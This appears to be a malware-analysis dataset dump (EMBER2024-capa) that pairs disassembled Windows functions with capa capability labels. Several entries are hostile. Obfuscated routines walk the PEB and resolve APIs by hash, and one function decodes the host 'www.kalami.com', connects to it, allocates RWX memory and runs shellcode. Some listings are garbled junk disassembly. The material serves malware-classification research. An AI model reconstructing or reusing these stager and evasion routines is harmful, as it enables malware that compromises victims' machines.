joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a6865
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004a67e1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4a69d4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4a69d4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4a6989
jg 0x4a68c1
test eax, eax
je 0x4a697f
push 1
push 0x1000
call fcn.004a01a9
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4a68e4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4a6976
push 0x8000
push ebx
call fcn.0049d573
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4a690d
jg 0x4a6908
cmp ecx, 0x1000
jb 0x4a690d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004a4386
add esp, 0x10
cmp eax, 0xffffffff
je 0x4a6952
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4a6908
jl 0x4a6939
test ecx, ecx
jne 0x4a68fa
push dword [ebp - 0xc]
push ebx
call fcn.0049d573
push esi
call fcn.0049f88d
add esp, 0xc
xor ebx, ebx
jmp 0x4a69e2
cmp byte [edi + 0x24], 0
je 0x4a6969
cmp dword [edi + 0x20], 5
jne 0x4a6969
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4a6974
mov ebx, dword [edi + 0x18]
jmp 0x4a6976
xor ebx, ebx
push esi
call fcn.0049f88d
pop ecx
jmp 0x4a69e2
test ecx, ecx
jg 0x4a694b
jl 0x4a6989
test eax, eax
jae 0x4a694b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0049e694
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4a69a9
cmp byte [edi + 0x1c], 0
je 0x4a694b
jmp 0x4a69da
push ebx
call fcn.004a1b5c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4a694b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4a69e2
cmp byte [edi + 0x1c], 0
je 0x4a69df
mov ebx, dword [edi + 0x18]
jmp 0x4a69e2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0049e694
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4a8370
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4a839d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4a839d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x2ccf307
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
ror ecx, cl
mov ebp, esp
or si, sp
cmp cx, 0x6c13
cmc
sub esp, 4
jmp 0x2cd5531
mov dword [ebp - 4], 0
xchg esi, esi
cmovbe si, sp
bswap esi
cld
sub edx, edx
btc ecx, edx
shr cl, 0xc0
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
shld cx, bx, 0x61
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
and cx, 0x1160
test bp, si
push 0x18
adc cx, 0x1239
btr ecx, 0x75
movzx ecx, bp
pop ecx
stc
cmp ch, cl
xor edi, edi
clc
cmc
jmp fcn.02d04321
Function at 0x2cd30c4
Capabilities:
Hash data with crc32

Disassembly:
pop edi
movzx esi, si
pop ebx
mov esi, ebx
bswap esi
pop esi
jmp 0x2d33128
jmp 0x2cad748
jne 0x2d20285
pop esi
stc
sub edi, ebx
jmp 0x2d23dbe
je 0x2cd3aae
pop esi
stc
lea esi, [esi + 4]
test eax, 0x372a6260
add dword [ebp - 4], 1
jmp 0x2d0f6f2
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
bts eax, esp
sub esi, eax
push ebx
shl esi, 0xb0
mov si, bp
or al, 0xcb
push edi
neg ah
dec esi
push edx
push ecx
mov eax, dword [ebp + 0x10]
shrd edi, eax, 0xc6
stc
xor edx, edx
bts ebx, edx
movzx ebx, di
xchg edx, eax
btc si, sp
bt bx, bx
sbb ebx, esp
mov esi, 0x3c
xor di, cx
bts eax, ecx
add esi, dword [ebp + 0xc]
and bx, ax
mov eax, dword [esi]
neg edi
add eax, dword [ebp + 0xc]
sar bx, cl
ror di, 1
mov esi, dword [eax + 0x78]
xor ebx, ecx
movzx eax, ax
lea esi, [esi + 0x18]
shrd ax, cx, 0x37
add esi, dword [ebp + 0xc]
rol ebx, 0xbe
cmc
mov eax, dword [esi]
rcr ebx, 0x87
mov dword [ebp - 0x14], eax
add esi, 4
movsx edi, bx
lea edi, [ebp - 8]
lodsd eax, dword [esi]
sal bl, 0x64
add eax, dword [ebp + 0xc]
movzx ebx, cx
sete bh
cmovnp ebx, esp
stosd dword es:[edi], eax
movsx ebx, si
movzx ebx, cx
mov dword [ebp - 8], eax
movzx ebx, cx
lahf
movzx ax, cl
lodsd eax, dword [esi]
jmp 0x2d2020e
push ebp
jmp 0x2cc824c
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
bt edx, 0x59
add eax, dword [ebp - 0x10]
shrd di, bp, 0x9a
jmp 0x2ce1936
sub esi, esi
stc
bts dx, dx
xchg esi, eax
shld edi, esi, 0x4f
mov ax, word [esi]
cmp si, 0x59f2
rcr ecx, cl
cdq
shl ax, 2
sal ecx, 0x91
add eax, dword [ebp - 8]
add di, bp
xchg esi, eax
mov eax, dword [esi]
ror edi, 0x68
cdq
shr si, 0xe4
add eax, dword [ebp + 0xc]
pop ecx
pop edx
jmp 0x2cbd878
jae 0x2d25189
xor ax, 0x8320
test esi, 0x3d0c3a75
stc
test edi, edi
xor bx, 0xedb8
jmp 0x2d25189
jne 0x2d23dea
xor ecx, eax
stc
test ebx, esi
cmp si, di
xor edx, ebx
jmp 0x2d13d97
rcr ax, 1
jmp 0x2ced091
jmp 0x2d20249
dec edi
jmp 0x2d25d64
add eax, dword [ebp + 0xc]
push eax
bswap ebx
stosd dword es:[edi], eax
rcr ebx, 0x85
clc
shr bx, cl
mov dword [ebp - 0xc], eax
sub bx, 0x1338
mov eax, dword [esi]
add bx, 0x4354
shl bh, 0xd5
sbb bh, bh
add eax, dword [ebp + 0xc]
cmp ecx, ebp
mov dword [ebp - 0x10], eax
cwde
pop esi
add eax, 0x2fb75a36
shr bl, 0xe0
mov dword [ebp - 4], 0
push esi
btc bx, 0xaa
inc bx
mov eax, dword [esi]
btr bx, 0xc9
sar bx, 0x99
sar bl, cl
add eax, dword [ebp + 0xc]
xchg edi, eax
sub bx, 0x1071
xadd bl, bl
bts ebx, ecx
mov ebx, edi
test ebp, 0x59752dc5
push edi
cmp cx, 0x5eea
clc
sub al, al
cmp dh, 0x6a
test dl, 0x92
scasb al, byte es:[edi]
jmp 0x2cc4c4c
push edx
cwd
cld
clc
sub ecx, ecx
movzx edx, bp
setno dl
mov dx, di
dec ecx
mov edx, ecx
test edi, eax
stc
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
test bp, 0x5e15
cmc
xor al, cl
mov cl, ch
cmc
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
jmp 0x2cf7dd5
dec dh
jmp 0x2cf01c3
jne 0x2d23dd4
not edx
not ecx
lahf
rcl al, cl
stc
mov eax, edx
rcl dh, 0x9e
bswap edx
rcr dh, cl
rol eax, 0x10
btc ax, dx
mov ax, cx
pop edx
cmp edx, eax
jmp 0x2cc4fed
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x2cc172b
Function at 0x401b40
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
lea eax, [esp + 4]
push esi
push eax
push 0x104
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
ja 0x401b71
test eax, eax
je 0x401b71
lea ecx, [esp + 8]
push ecx
jmp 0x401b76
push 0x4081c0
mov esi, dword [esp + 0x114]
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov eax, esi
pop esi
add esp, 0x108
ret 4
Function at 0x4026c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0xc]
push edi
push eax
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4.0Client
push 0x80000002
mov dword [esp + 0x20], 1
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_wcscmp]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402745
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Install
push ecx
call ebx
test eax, eax
jne 0x402745
lea edx, [esp + 0x1c]
push 0x4082ec
push edx
call ebp
add esp, 8
test eax, eax
jne 0x402745
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x214
ret
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
lea edx, [esp + 0x10]
push edx
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4Client
push 0x80000002
call esi
test eax, eax
jne 0x402803
lea eax, [esp + 0x18]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push edx
push 0
push str.Install
push eax
call ebx
test eax, eax
jne 0x402803
lea ecx, [esp + 0x1c]
push 0x4082ec
push ecx
call ebp
add esp, 8
test eax, eax
jne 0x402803
mov edx, dword [esp + 0x10]
push edx
call edi
lea eax, [esp + 0x10]
push eax
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4Full
push 0x80000002
call esi
test eax, eax
jne 0x402803
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Install
push ecx
call ebx
test eax, eax
jne 0x402803
lea edx, [esp + 0x1c]
push 0x4082ec
push edx
call ebp
add esp, 8
test eax, eax
jne 0x402803
mov eax, dword [esp + 0x10]
push eax
call edi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x214
ret
mov ecx, dword [esp + 0x10]
push ecx
call edi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x214
ret
Function at 0x4028e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404ee8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov ecx, 0x11
mov dword [ebp - 0x24], eax
lea edi, [ebp - 0x68]
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x68]
mov dword [ebp - 0x1c], eax
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], eax
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
push eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x68], 0x44
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402984
mov ecx, dword [ebp - 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, dword [ebp - 0x14]
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.00404576
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.00404576
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 0xffffd8f0
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403300
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 6
jne 0x403367
mov eax, dword [esp + 8]
cmp eax, 2
jb 0x403346
mov eax, 0x3e
add esp, 0x9c
ret
cmp eax, 1
jne 0x403357
mov eax, 0x3d
add esp, 0x9c
ret
test eax, eax
jne 0x4033a2
mov eax, 0x3c
add esp, 0x9c
ret
cmp eax, 5
jne 0x4033a2
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x403381
mov eax, 0x34
add esp, 0x9c
ret
cmp eax, 1
jne 0x403392
mov eax, 0x33
add esp, 0x9c
ret
test eax, eax
jne 0x4033a2
mov eax, 0x32
add esp, 0x9c
ret
xor eax, eax
add esp, 0x9c
ret
Function at 0x4015f0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create tcp socket
Encode data using xor
Execute shellcode via indirect call
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x28
push esi
push edi
nop
nop
nop
nop
nop
nop
call fcn.00401010
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x41475c], eax
nop
nop
nop
nop
nop
nop
cmp dword [0x41475c], 0xffffffff
je 0x4017a8
nop
nop
nop
nop
nop
nop
push 0x40
push 0x3000
push 0x4dc1c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x414758], eax
test eax, eax
je 0x4017b0
movaps xmm2, xmmword [0x411d10]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + str.www.kalami.com]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + str.www.kalami.com], xmm1
movups xmm0, xmmword [eax + 0x4138a0]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x4138a0], xmm1
movups xmm0, xmmword [eax + 0x4138b0]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x4138b0], xmm0
movups xmm0, xmmword [eax + 0x4138c0]
pxor xmm1, xmm0
movups xmmword [eax + 0x4138c0], xmm1
add eax, 0x40
cmp eax, 0x400
jb 0x401660
cmp eax, 0x410
jae 0x4016d1
xor byte [eax + str.www.kalami.com], 0x61
inc eax
cmp eax, 0x410
jb 0x4016c2
mov esi, dword [sym.imp.WS2_32.dll_getaddrinfo]
lea eax, [esp + 0x14]
push eax
push 0
push 0
push str.www.kalami.com
mov dword [esp + 0x24], 0
call esi
test eax, eax
jne 0x401758
mov edi, dword [sym.imp.WS2_32.dll_htons]
nop dword [eax]
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 0x18]
movups xmm0, xmmword [eax]
movzx eax, word [0x413990]
push eax
movups xmmword [esp + 0x24], xmm0
call edi
mov word [esp + 0x22], ax
lea eax, [esp + 0x20]
push 0x10
push eax
push dword [0x41475c]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401758
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push 0
push 0
push str.www.kalami.com
call esi
test eax, eax
je 0x401700
push 0x414758
push 0x401540
call dword [0x414754]
mov esi, eax
nop
nop
nop
nop
nop
nop
push 0
push 8
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x6c63626e
push eax
push dword [0x41475c]
mov dword [esp + 0x2c], 0x737361
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4017b0
nop
nop
nop
nop
nop
nop
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
call fcn.00403aaf
int3
Function at 0x6b3795
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0x7c18f5
mov edi, 0x168abe15

Function at 0x771754
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add bx, bp
sbb esi, 0x4595e362
clc
sub eax, eax
lea esp, [esp + 0xc]
je 0x6b2938
movsx di, cl
add di, 0xd682
add edx, ebx
neg di
xor di, bp
mov dword [ebp - 4], edx
bsf di, bp
cmc
mov edx, dword [ebp - 4]
lea edi, [esi + 0x36c6723c]
mov edi, dword [edx + 0x10]
test ch, 0x69
pushal
pushal
stc
test edi, edi
lea esp, [esp + 0x40]
jg 0x7710a7
pushal
lea esp, [esp + 0x20]
je 0x6b2938
neg si
movzx esi, dl
add edi, ebx
shr si, cl
sal si, cl
btr si, 3
lea esi, [ebx + 0x30aa9f84]
mov esi, dword [edx]
jmp 0x770877
test esi, esi
jmp 0x7c1a84
pushfd
lea esp, [esp + 4]
je 0x6b2938
pushal
add edi, ebx
call 0x7732bd
add byte [eax], al
inc edi
je 0x771114
js 0x771137
inc ebp
js 0x77113a
outsb dx, byte gs:[esi]
je 0x77111a
outsd dx, dword [esi]
imul ebp, dword [esi + 0x74], 0x413233
add byte [eax], al
push ebx
je 0x77111d
outsb dx, byte [esi]
dec edi
inc si
imul ebp, dword [ebp], 0xe7cac9c5
mov byte [0xe3d02258], al
aaa
cwde
cmp ah, byte [edx + edx*4]
sbb dword [eax], edx
mov al, 0xf6
adc al, 0x76
mov dword fs:[eax], edx
ja 0x7710fa
out dx, eax
into
outsb dx, byte [esi]
lea edi, [ebx - 0x2a]
pop eax
dec ebp
xchg ebx, eax
int 0xca
insd dword es:[edi], dx
aaa
add byte [eax], al
test dword [ebx + 6], ecx
adc dh, byte [edi]
dec ecx
add ah, al
test dword [esi + 0x6e9a282f], ecx
sbb eax, 0x11b063c8
sub byte [edx + 0x63c81d6e], bl
mov al, 0x11
ja 0x77111e
add cl, bl
out 9, eax
push ds
invalid
invalid
cdq
inc edx
cmc
cmc
cmc
cli
push ebx
in eax, 0xdc
cmp dword [edx], edi
pop edi
xchg ebp, eax
rol bl, 0xe5
fild word [edx + 0x5a]
xchg esi, eax
sbb al, bl
sub al, 0x1c
sub eax, 0xdd94a2df
mov esp, 0xde007711
jp 0x77114f
cmp byte [edx], al
stosd dword es:[edi], eax
fsub qword [ebx + 0x3c]
imul ebp, dword [0x6b3d874d], 0x3db8892d
ja 0x77116d
xchg ecx, eax
lock sub dl, byte [esi + edx*2 - 0x38]
in eax, dx
salc
pop esp
mov eax, 0x8be3ffd4
mov bh, 0xf5
add eax, 0xd15b2f5b
xchg edi, eax
sahf
imul eax, dword [esi + 0xbc7dfb2], 0xfffffff5
add ah, byte [eax - 0x1c00be27]
rol byte [ecx - 0x3dccadb7], cl
mov bh, bh
pop eax
int3
push 0xbb5003e
call fcn.007ca4ad
push 0x89db803b
call fcn.007ca66f
add cl, byte [ecx - 0x25fedbc4]
mov dword [esp], edi
add edx, ebx
clc
clc
clc
cmc
mov edx, dword [edx + 0x80]
bt si, si
pushfd
test edx, edx
push 0x3531073a
jmp 0x6c590f
call 0x772d2d
lea esp, [esp + 0x4c]
jne 0x771e1c
pushfd
lea esp, [esp + 4]
jmp 0x6b3833

Function at 0x773a7c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test eax, eax
mov word [esp], 0x197b
mov byte [esp], ch
pushfd
push 0xe4362f68
lea esp, [esp + 0xc]
je 0x7c843f
clc
cmc
test eax, 0x80000000
pushal
lea esp, [esp + 0x20]
jg 0x7718b7
push 0x9771d2a9
lea esp, [esp + 4]
je 0x7740f9
pushfd
pushfd
stc
and eax, 0xffff
push dword [esp + 4]
pushal
lea esp, [esp + 0x2c]
jmp 0x774116
push 0xfc32c9b3
add dword [ebp - 4], 0x14
pushal
lea esp, [esp + 0x24]
jmp 0x6c592d
Function at 0x406350
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4610db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00455f88
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4063d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00453ed7
mov eax, dword [eax]
push 0x48a1c0
push eax
call fcn.00446dd4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00456213
test bl, bl
je 0x4063d2
push 0x48a1c0
lea ecx, [esp + 0xc]
call fcn.004565a3
push 0x48dd10
lea ecx, [esp + 0xc]
call fcn.004565a3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40640e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00456213
jmp 0x4064d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406492
lea edx, [esp + 0x7c]
push 0x48dd0c
push edx
call fcn.00446dd4
add esp, 8
test eax, eax
je 0x406492
lea eax, [esp + 0x7c]
push 0x48dd08
push eax
call fcn.00446dd4
add esp, 8
test eax, eax
je 0x406492
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406422
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00456213
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406cd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406d32
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x406d40
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46115b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4941b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x406e78
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x406da6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00456213
xor eax, eax
jmp 0x406eef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00456350
push esi
lea ecx, [esp + 0xc]
call fcn.004565df
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x406ecd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00406cd0
test eax, eax
jne 0x406ecd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00406cd0
test eax, eax
jne 0x406ecd
lea eax, [esp + 0x14]
push 0x48dd24
push eax
call fcn.00447e10
mov esi, eax
add esp, 8
test esi, esi
jne 0x406eac
lea ecx, [esp + 0x14]
push 0x48dd20
push ecx
call fcn.00447d90
mov esi, eax
add esp, 8
test esi, esi
jne 0x406eac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x406eaf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00456300
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x406dbe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00456213
xor eax, eax
jmp 0x406eef
mov byte [esi], 0
push 0x48dd1c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00456213
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4